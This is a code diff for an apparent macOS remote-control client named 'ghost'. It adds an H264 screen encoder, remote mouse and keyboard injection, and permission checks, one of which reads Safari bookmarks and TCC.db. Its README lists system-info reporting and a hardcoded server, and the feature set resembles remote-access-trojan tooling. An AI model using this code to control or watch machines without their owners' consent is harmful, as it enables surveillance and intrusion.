void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical)
{
// Convert BGRA to I420 (YUV 4:2:0 planar)
// Y = 0.299*R + 0.587*G + 0.114*B
// U = -0.169*R - 0.331*G + 0.500*B + 128
// V = 0.500*R - 0.419*G - 0.081*B + 128
uint8_t* yDst = m_yPlane.data();
uint8_t* uDst = m_uPlane.data();
uint8_t* vDst = m_vPlane.data();
int uvWidth = width / 2;
for (uint32_t y = 0; y < height; y++) {
// Source row (handle vertical flip)
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
const uint8_t* srcRow = bgra + srcY * stride;
// Y plane destination
uint8_t* yRow = yDst + y * width;
for (uint32_t x = 0; x < width; x++) {
uint8_t b = srcRow[x * 4 + 0];
uint8_t g = srcRow[x * 4 + 1];
uint8_t r = srcRow[x * 4 + 2];
// Y component
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
}
// UV planes (subsampled 2x2)
if (y % 2 == 0) {
uint8_t* uRow = uDst + (y / 2) * uvWidth;
uint8_t* vRow = vDst + (y / 2) * uvWidth;
for (uint32_t x = 0; x < width; x += 2) {
// Average 2x2 block
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
if (srcY2 >= height) srcY2 = srcY;
const uint8_t* srcRow2 = bgra + srcY2 * stride;
int r = 0, g = 0, b = 0;
// Top-left
b += srcRow[x * 4 + 0];
g += srcRow[x * 4 + 1];
r += srcRow[x * 4 + 2];
// Top-right
if (x + 1 < width) {
b += srcRow[(x + 1) * 4 + 0];
g += srcRow[(x + 1) * 4 + 1];
r += srcRow[(x + 1) * 4 + 2];
}
// Bottom-left
b += srcRow2[x * 4 + 0];
g += srcRow2[x * 4 + 1];
r += srcRow2[x * 4 + 2];
// Bottom-right
if (x + 1 < width) {
b += srcRow2[(x + 1) * 4 + 0];
g += srcRow2[(x + 1) * 4 + 1];
r += srcRow2[(x + 1) * 4 + 2];
}
r /= 4;
g /= 4;
b /= 4;
// U component
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
// V component
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
}
}
}
}
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical)
{
if (!m_session) {
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
return 0;
}
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
snprintf(m_lastError, sizeof(m_lastError),
"Frame size mismatch: expected %dx%d, got %dx%d",
m_width, m_height, (int)width, (int)height);
return 0;
}
// Convert BGRA to I420
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
// Create CVPixelBuffer
CVPixelBufferRef pixelBuffer = nullptr;
NSDictionary* options = @{
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
};
CVReturn cvRet = CVPixelBufferCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCVPixelFormatType_420YpCbCr8Planar,
(__bridge CFDictionaryRef)options,
&pixelBuffer
);
if (cvRet != kCVReturnSuccess) {
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBufferCreate failed: %d", (int)cvRet);
return 0;
}
// Lock and copy YUV data
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
if (planeCount < 3) {
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
CVPixelBufferRelease(pixelBuffer);
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBuffer has %zu planes, expected 3", planeCount);
return 0;
}
// Y plane
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
for (int y = 0; y < m_height; y++) {
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
}
// U plane
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
int uvHeight = m_height / 2;
int uvWidth = m_width / 2;
for (int y = 0; y < uvHeight; y++) {
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
}
// V plane
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
for (int y = 0; y < uvHeight; y++) {
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
}
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
// Prepare frame properties
CFMutableDictionaryRef frameProps = nullptr;
if (m_forceKeyframe.exchange(false)) {
frameProps = CFDictionaryCreateMutable(
kCFAllocatorDefault, 1,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
CFDictionarySetValue(frameProps,
kVTEncodeFrameOptionKey_ForceKeyFrame,
kCFBooleanTrue);
}
// Clear output buffer
{
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
}
// Presentation timestamp
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
// Encode frame
OSStatus status = VTCompressionSessionEncodeFrame(
m_session,
pixelBuffer,
pts,
kCMTimeInvalid,
frameProps,
nullptr,
nullptr
);
if (frameProps) {
CFRelease(frameProps);
}
CVPixelBufferRelease(pixelBuffer);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
return 0;
}
// Wait for encoding to complete
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
// Return encoded data
std::lock_guard<std::mutex> lock(m_outputMutex);
if (m_outputBuffer.empty()) {
return 0;
}
*outData = m_outputBuffer.data();
*outSize = (uint32_t)m_outputBuffer.size();
return (int)m_outputBuffer.size();
}
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer)
{
(void)sourceFrameRefCon;
(void)infoFlags;
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
if (status != noErr) {
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
return;
}
if (!sampleBuffer) {
return;
}
encoder->processSampleBuffer(sampleBuffer);
}
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
{
// Check if keyframe
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
bool isKeyframe = false;
if (attachments && CFArrayGetCount(attachments) > 0) {
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
kCMSampleAttachmentKey_NotSync);
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
}
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
// Get format description for SPS/PPS
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
// If keyframe, prepend SPS and PPS
if (isKeyframe && formatDesc) {
// Get SPS
size_t spsSize = 0;
size_t spsCount = 0;
const uint8_t* sps = nullptr;
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
if (status == noErr && sps && spsSize > 0) {
// Write NAL start code + SPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
}
// Get PPS
size_t ppsSize = 0;
size_t ppsCount = 0;
const uint8_t* pps = nullptr;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
if (status == noErr && pps && ppsSize > 0) {
// Write NAL start code + PPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
}
}
// Get encoded data
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
if (!blockBuffer) {
return;
}
size_t totalLength = 0;
size_t lengthAtOffset = 0;
char* dataPointer = nullptr;
OSStatus status = CMBlockBufferGetDataPointer(
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
if (status != noErr || !dataPointer) {
return;
}
// Get NAL unit length size from format description (usually 4 bytes)
int nalLengthSize = 4;
if (formatDesc) {
int tmpNalLengthSize = 0;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
nalLengthSize = tmpNalLengthSize;
}
}
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
size_t offset = 0;
while (offset < totalLength) {
// Read NAL unit length (big-endian, variable size)
uint32_t nalLength = 0;
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
for (int i = 0; i < nalLengthSize; i++) {
nalLength = (nalLength << 8) | lengthPtr[i];
}
offset += nalLengthSize;
if (nalLength > 0 && offset + nalLength <= totalLength) {
// Write NAL start code
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
// Write NAL data
m_outputBuffer.insert(m_outputBuffer.end(),
(uint8_t*)dataPointer + offset,
(uint8_t*)dataPointer + offset + nalLength);
}
offset += nalLength;
}
}

80
macos/InputHandler.h Normal file
View File

@@ -0,0 +1,80 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#include <cstdint>
#include <atomic>
// Windows message constants (for parsing server commands)
#define WM_MOUSEMOVE 0x0200
#define WM_LBUTTONDOWN 0x0201
#define WM_LBUTTONUP 0x0202
#define WM_LBUTTONDBLCLK 0x0203
#define WM_RBUTTONDOWN 0x0204
#define WM_RBUTTONUP 0x0205
#define WM_RBUTTONDBLCLK 0x0206
#define WM_MBUTTONDOWN 0x0207
#define WM_MBUTTONUP 0x0208
#define WM_MBUTTONDBLCLK 0x0209
#define WM_MOUSEWHEEL 0x020A
#define WM_KEYDOWN 0x0100
#define WM_KEYUP 0x0101
#define WM_SYSKEYDOWN 0x0104
#define WM_SYSKEYUP 0x0105
// Windows wheel delta extraction
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
// MSG64 structure (compatible with Windows/Linux)
#pragma pack(push, 1)
struct MSG64_MAC {
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
int32_t pt_x;
int32_t pt_y;
};
#pragma pack(pop)
class InputHandler {
public:
InputHandler();
~InputHandler();
// Initialize (checks accessibility permission)
bool init();
// Handle input event from server
void handleInputEvent(const MSG64_MAC* msg);
// Check if accessibility permission is available
bool hasAccessibilityPermission() const { return m_hasPermission; }
private:
// Mouse event helpers
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
// Keyboard event helpers
void handleKeyEvent(uint32_t vkCode, bool down);
// Convert Windows VK code to macOS key code
static CGKeyCode vkToMacKeyCode(uint32_t vk);
private:
std::atomic<bool> m_hasPermission{false};
std::atomic<bool> m_warningLogged{false};
// Track button states for CGEvent (atomic for thread safety)
CGPoint m_lastMousePos;
std::atomic<bool> m_leftButtonDown{false};
std::atomic<bool> m_rightButtonDown{false};
std::atomic<bool> m_middleButtonDown{false};
// Track modifier key states for proper key event handling
std::atomic<CGEventFlags> m_modifierFlags{0};
};

396
macos/InputHandler.mm Normal file
View File

@@ -0,0 +1,396 @@
#import "InputHandler.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#include <unistd.h> // for usleep
InputHandler::InputHandler()
: m_lastMousePos(CGPointZero)
{
// atomic members are initialized in class declaration
}
InputHandler::~InputHandler()
{
}
bool InputHandler::init()
{
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
NSLog(@"InputHandler: Accessibility permission not granted");
// Request permission (shows system dialog)
Permissions::requestAccessibility();
}
return m_hasPermission;
}
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
{
if (!m_hasPermission) {
// Re-check permission
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
if (!m_warningLogged) {
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
m_warningLogged = true;
}
return;
}
m_warningLogged = false;
}
uint32_t message = (uint32_t)msg->message;
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg->lParam & 0xFFFF);
int y = (int)((msg->lParam >> 16) & 0xFFFF);
switch (message) {
// Mouse movement
case WM_MOUSEMOVE:
handleMouseMove(x, y);
break;
// Left button
case WM_LBUTTONDOWN:
handleMouseButton(kCGMouseButtonLeft, true, x, y);
break;
case WM_LBUTTONUP:
handleMouseButton(kCGMouseButtonLeft, false, x, y);
break;
case WM_LBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
break;
// Right button
case WM_RBUTTONDOWN:
handleMouseButton(kCGMouseButtonRight, true, x, y);
break;
case WM_RBUTTONUP:
handleMouseButton(kCGMouseButtonRight, false, x, y);
break;
case WM_RBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
break;
// Middle button
case WM_MBUTTONDOWN:
handleMouseButton(kCGMouseButtonCenter, true, x, y);
break;
case WM_MBUTTONUP:
handleMouseButton(kCGMouseButtonCenter, false, x, y);
break;
case WM_MBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
break;
// Mouse wheel
case WM_MOUSEWHEEL: {
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
handleMouseWheel(delta);
break;
}
// Keyboard
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
handleKeyEvent((uint32_t)msg->wParam, true);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
handleKeyEvent((uint32_t)msg->wParam, false);
break;
}
}
void InputHandler::handleMouseMove(int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType = kCGEventMouseMoved;
CGMouseButton button = kCGMouseButtonLeft;
// If button is held, use drag event
if (m_leftButtonDown) {
eventType = kCGEventLeftMouseDragged;
button = kCGMouseButtonLeft;
} else if (m_rightButtonDown) {
eventType = kCGEventRightMouseDragged;
button = kCGMouseButtonRight;
} else if (m_middleButtonDown) {
eventType = kCGEventOtherMouseDragged;
button = kCGMouseButtonCenter;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType;
switch (button) {
case kCGMouseButtonLeft:
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
m_leftButtonDown = down;
break;
case kCGMouseButtonRight:
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
m_rightButtonDown = down;
break;
case kCGMouseButtonCenter:
default:
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
m_middleButtonDown = down;
break;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
// clickState=1 for all single clicks
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
{
// WM_LBUTTONDBLCLK represents the second click of a double-click.
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
//
// We send complete down(2) + up(2) here because:
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType downType, upType;
switch (button) {
case kCGMouseButtonLeft:
downType = kCGEventLeftMouseDown;
upType = kCGEventLeftMouseUp;
break;
case kCGMouseButtonRight:
downType = kCGEventRightMouseDown;
upType = kCGEventRightMouseUp;
break;
case kCGMouseButtonCenter:
default:
downType = kCGEventOtherMouseDown;
upType = kCGEventOtherMouseUp;
break;
}
// Send second click: down(2) + up(2)
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
if (down) {
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, down);
CFRelease(down);
}
if (up) {
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, up);
CFRelease(up);
}
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
// but this is harmless since mouse is already up.
}
void InputHandler::handleMouseWheel(int delta)
{
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
// Using pixel units provides smoother scrolling than line units
// Windows: 120 = one standard notch
// macOS: approximately 10 pixels per notch feels natural
int32_t scrollAmount = (delta * 10) / 120;
// Use pixel units for smoother scrolling experience
CGEventRef event = CGEventCreateScrollWheelEvent(
NULL,
kCGScrollEventUnitPixel,
1,
scrollAmount
);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
{
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
if (keyCode == 0xFF) {
return; // Unknown key
}
// Update modifier flags based on key
CGEventFlags flag = 0;
switch (keyCode) {
case kVK_Shift:
case kVK_RightShift:
flag = kCGEventFlagMaskShift;
break;
case kVK_Control:
case kVK_RightControl:
flag = kCGEventFlagMaskControl;
break;
case kVK_Option:
case kVK_RightOption:
flag = kCGEventFlagMaskAlternate;
break;
case kVK_Command:
case kVK_RightCommand:
flag = kCGEventFlagMaskCommand;
break;
case kVK_CapsLock:
flag = kCGEventFlagMaskAlphaShift;
break;
}
if (flag) {
CGEventFlags current = m_modifierFlags.load();
if (down) {
m_modifierFlags.store(current | flag);
} else {
m_modifierFlags.store(current & ~flag);
}
}
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
if (event) {
// Set current modifier flags to ensure proper key combinations
CGEventSetFlags(event, m_modifierFlags.load());
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
// Convert Windows VK code to macOS key code
// Reference: Carbon/HIToolbox/Events.h
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
{
// Letters A-Z (VK 0x41-0x5A)
if (vk >= 0x41 && vk <= 0x5A) {
// macOS key codes for A-Z are not sequential
static const CGKeyCode letterKeys[] = {
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
kVK_ANSI_Z
};
return letterKeys[vk - 0x41];
}
// Numbers 0-9 (VK 0x30-0x39)
if (vk >= 0x30 && vk <= 0x39) {
static const CGKeyCode numberKeys[] = {
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
};
return numberKeys[vk - 0x30];
}
// Numpad 0-9 (VK 0x60-0x69)
if (vk >= 0x60 && vk <= 0x69) {
static const CGKeyCode numpadKeys[] = {
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
kVK_ANSI_Keypad9
};
return numpadKeys[vk - 0x60];
}
// F1-F12 (VK 0x70-0x7B)
if (vk >= 0x70 && vk <= 0x7B) {
static const CGKeyCode fKeys[] = {
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
};
return fKeys[vk - 0x70];
}
// Special keys
switch (vk) {
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
case 0x09: return kVK_Tab; // VK_TAB
case 0x0D: return kVK_Return; // VK_RETURN
case 0x10: return kVK_Shift; // VK_SHIFT
case 0x11: return kVK_Control; // VK_CONTROL
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
case 0x14: return kVK_CapsLock; // VK_CAPITAL
case 0x1B: return kVK_Escape; // VK_ESCAPE
case 0x20: return kVK_Space; // VK_SPACE
case 0x21: return kVK_PageUp; // VK_PRIOR
case 0x22: return kVK_PageDown; // VK_NEXT
case 0x23: return kVK_End; // VK_END
case 0x24: return kVK_Home; // VK_HOME
case 0x25: return kVK_LeftArrow; // VK_LEFT
case 0x26: return kVK_UpArrow; // VK_UP
case 0x27: return kVK_RightArrow; // VK_RIGHT
case 0x28: return kVK_DownArrow; // VK_DOWN
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
// Windows keys -> Command
case 0x5B: return kVK_Command; // VK_LWIN
case 0x5C: return kVK_RightCommand; // VK_RWIN
// Numpad operators
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
// Lock keys
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
case 0x91: return kVK_F14; // VK_SCROLL
// Shift variants
case 0xA0: return kVK_Shift; // VK_LSHIFT
case 0xA1: return kVK_RightShift; // VK_RSHIFT
case 0xA2: return kVK_Control; // VK_LCONTROL
case 0xA3: return kVK_RightControl; // VK_RCONTROL
case 0xA4: return kVK_Option; // VK_LMENU
case 0xA5: return kVK_RightOption; // VK_RMENU
// OEM keys (US keyboard layout)
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
default:
return 0xFF; // Unknown key
}
}

43
macos/Permissions.h Normal file
View File

@@ -0,0 +1,43 @@
#pragma once
#import <Foundation/Foundation.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
class Permissions {
public:
// Check if screen recording permission is granted
// Returns true if granted, false otherwise
static bool checkScreenCapture();
// Request screen recording permission (shows system dialog, macOS 10.15+)
static void requestScreenCapture();
// Check if accessibility permission is granted (for input simulation)
// Returns true if granted, false otherwise
static bool checkAccessibility();
// Request accessibility permission (shows system dialog)
static void requestAccessibility();
// Open System Preferences to Screen Recording settings
static void openScreenCaptureSettings();
// Open System Preferences to Accessibility settings
static void openAccessibilitySettings();
// Check if Full Disk Access permission is granted
// Returns true if granted, false otherwise
static bool checkFullDiskAccess();
// Open System Preferences to Full Disk Access settings
static void openFullDiskAccessSettings();
// Check all required permissions
// Returns true if all permissions are granted
static bool checkAllPermissions();
// Wait for permissions to be granted (blocking)
// Returns true if all granted within timeout, false otherwise
static bool waitForPermissions(int timeoutSeconds);
};

126
macos/Permissions.mm Normal file
View File

@@ -0,0 +1,126 @@
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
bool Permissions::checkScreenCapture() {
// macOS 10.15+ requires screen recording permission
if (@available(macOS 10.15, *)) {
// CGPreflightScreenCaptureAccess() is unreliable - it can return false
// even when permission is granted (especially after code re-signing).
// Instead, actually try to capture the screen to verify permission.
CGDirectDisplayID displayID = CGMainDisplayID();
CGImageRef image = CGDisplayCreateImage(displayID);
if (image != NULL) {
// Got an image - permission is granted
// Additional check: verify image has actual content (not blank)
size_t width = CGImageGetWidth(image);
size_t height = CGImageGetHeight(image);
CGImageRelease(image);
if (width > 0 && height > 0) {
return true;
}
}
// Failed to capture - permission not granted or display issue
// Fall back to preflight check for triggering dialog
return CGPreflightScreenCaptureAccess();
}
// Before 10.15, no permission needed
return true;
}
void Permissions::requestScreenCapture() {
if (@available(macOS 10.15, *)) {
// Trigger system permission dialog
CGRequestScreenCaptureAccess();
}
}
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
void Permissions::openScreenCaptureSettings() {
if (@available(macOS 10.15, *)) {
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
}
void Permissions::openAccessibilitySettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkFullDiskAccess() {
// There's no official API to check Full Disk Access.
// Try to actually read a protected file that requires FDA.
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
NSFileManager* fm = [NSFileManager defaultManager];
if ([fm fileExistsAtPath:testPath]) {
// Try to actually read the file (more reliable than isReadableFileAtPath)
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read Safari bookmarks)");
return true;
} else {
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
return false;
}
}
// Safari bookmarks doesn't exist, try TCC database
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
if ([fm fileExistsAtPath:testPath]) {
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read TCC.db)");
return true;
} else {
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
return false;
}
}
// No test files exist, assume OK
NSLog(@"FDA check: SKIPPED (no test files found)");
return true;
}
void Permissions::openFullDiskAccessSettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkAllPermissions() {
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
}
bool Permissions::waitForPermissions(int timeoutSeconds) {
int elapsed = 0;
while (elapsed < timeoutSeconds) {
if (checkAllPermissions()) {
return true;
}
[NSThread sleepForTimeInterval:1.0];
elapsed++;
}
return false;
}

61
macos/README.txt Normal file
View File

@@ -0,0 +1,61 @@
macOS Remote Desktop Client
===========================
Prerequisites:
1. Xcode Command Line Tools: xcode-select --install
2. CMake: brew install cmake
Build:
chmod +x build.sh
./build.sh
Or manually:
mkdir build && cd build
cmake ..
make
Run:
./build/bin/ghost
Configuration:
Server address is configured in main.mm (g_SETTINGS variable).
Modify before building if needed.
Permissions Required:
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
2. Accessibility - System Settings > Privacy & Security > Accessibility
Features:
[x] Screen capture (CGDisplayCreateImage)
[x] H264 video encoding (VideoToolbox)
[x] Mouse control (move, click, drag, scroll)
[x] Keyboard control (full VK code mapping)
[x] Retina display support (coordinate scaling)
[x] Network connection (IOCPClient)
[x] LOGIN_INFOR (system info reporting)
[x] Heartbeat with RTT estimation
[x] Active window tracking
[x] Quality level adjustment (FPS/algorithm)
Files:
CMakeLists.txt - Build configuration
Permissions.h/mm - macOS permission handling
